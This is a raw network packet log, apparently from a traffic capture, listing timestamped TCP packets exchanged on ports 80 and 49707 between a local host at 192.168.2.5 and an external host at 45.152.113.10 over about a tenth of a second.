Sep 10, 2024 19:36:07.922136068 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.922151089 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.922177076 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.922182083 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.922193050 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.922202110 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.922211885 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.922223091 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.922224045 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.922252893 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.922256947 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.922267914 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.922310114 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.922321081 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.922326088 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.922326088 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.922331095 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.922354937 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.922364950 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.922382116 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.922394991 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.922424078 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.922450066 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.922489882 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.922499895 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.922511101 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.922519922 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.922533989 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.922538042 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.922549009 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.922552109 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.922559977 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.922564983 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.922571898 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.922585011 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.922597885 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.922622919 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.922626019 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.922638893 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.922650099 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.922660112 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.922663927 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.922676086 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.922677994 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.922703981 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.922722101 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.922749043 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.922760010 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.922770977 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.922799110 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.922816038 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.922827005 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.922843933 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.922854900 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.922859907 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.922888041 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.922908068 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.922991991 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.923037052 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.923046112 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.923057079 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.923084974 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.923088074 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.923099041 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.923105955 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.923130035 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.923152924 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.923156977 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.923167944 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.923196077 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.923208952 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.923296928 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.923307896 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.923325062 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.923336029 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.923341036 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.923346996 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.923357010 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.923358917 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.923367023 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.923377037 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.923399925 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.923403025 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.923413038 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.923414946 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.923450947 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.923460960 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.923471928 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.923484087 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.923494101 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.923504114 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.923512936 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.923520088 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.923532963 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.923532963 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.923542976 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.923553944 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.923556089 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.923577070 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.923600912 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.923675060 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.923686981 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.923697948 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.923708916 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.923716068 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.923742056 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.923763990 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.923789024 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.923800945 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.923810005 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.923815966 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.923820972 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.923830986 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.923836946 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.923841953 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.923852921 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.923857927 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.923887968 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.923906088 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.924055099 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.924066067 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.924077034 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.924087048 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.924093962 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.924098015 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.924108982 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.924110889 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.924129963 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.924139023 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.924149990 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.924155951 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.924160957 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.924175978 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.924202919 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.924284935 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.924304008 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.924316883 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.924323082 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.924328089 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.924339056 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.924350023 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.924350023 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.924357891 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.924377918 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.924386978 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.924396992 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.924408913 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.924424887 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.924451113 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.924455881 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.924465895 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.924475908 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.924487114 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.924498081 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.924514055 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.924536943 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.924669027 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.924680948 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.924690962 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.924701929 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.924710035 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.924711943 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.924722910 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.924730062 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.924743891 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.924755096 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.924758911 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.924766064 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.924776077 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.924787045 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.924787045 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.924813032 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.924838066 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.924923897 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.924936056 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.924947023 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.924957991 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.924966097 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.924982071 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.925005913 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.008369923 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.008387089 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.008405924 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.008419037 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.008430958 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.008439064 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.008443117 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.008455992 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.008461952 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.008488894 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.008502960 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.008585930 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.008598089 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.008609056 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.008619070 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.008637905 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.008639097 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.008651018 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.008661985 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.008661985 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.008672953 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.008685112 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.008688927 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.008701086 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.008708000 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.008712053 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.008723021 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.008738995 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.008770943 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.008791924 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.008810043 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.008830070 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.008840084 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.008842945 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.008853912 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.008865118 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.008866072 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.008878946 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.008908033 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.008970022 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.008981943 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.008994102 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.009006023 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.009012938 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.009021044 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.009048939 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.009061098 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.009151936 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.009164095 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.009181976 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.009192944 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.009192944 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.009203911 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.009215117 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.009224892 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.009233952 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.009248972 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.009252071 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.009263039 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.009264946 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.009274960 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.009287119 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.009300947 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.009322882 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.009335995 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.009340048 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.009351969 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.009362936 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.009373903 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.009386063 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.009387016 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.009397030 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.009419918 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.009421110 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.009438992 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.009464025 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.009521008 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.009541035 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.009552956 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.009562969 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.009576082 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.009597063 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.009613037 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.009624958 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.009635925 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.009656906 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.009677887 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.009835958 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.009848118 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.009859085 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.009867907 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.009879112 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.009888887 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.009890079 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.009902000 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.009911060 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.009922028 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.009929895 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.009933949 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.009944916 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.009955883 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.009957075 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.009967089 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.009977102 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.009995937 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.009995937 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.010008097 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.010018110 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.010020018 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.010030985 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.010065079 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.010230064 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.010241985 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.010252953 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.010263920 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.010274887 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.010274887 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.010286093 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.010298014 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.010303020 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.010349989 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.010380030 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.010391951 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.010404110 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.010409117 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.010420084 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.010427952 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.010431051 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.010441065 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.010452986 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.010457039 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.010463953 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.010474920 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.010487080 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.010488987 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.010504961 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.010510921 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.010535955 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.010556936 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.010586977 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.010600090 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.010611057 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.010632038 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.010644913 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.010793924 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.010804892 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.010817051 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.010839939 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.010853052 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.010960102 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.010972023 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.010982990 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.011006117 CEST	49707	80	192.168.2.5	45.152.113.10
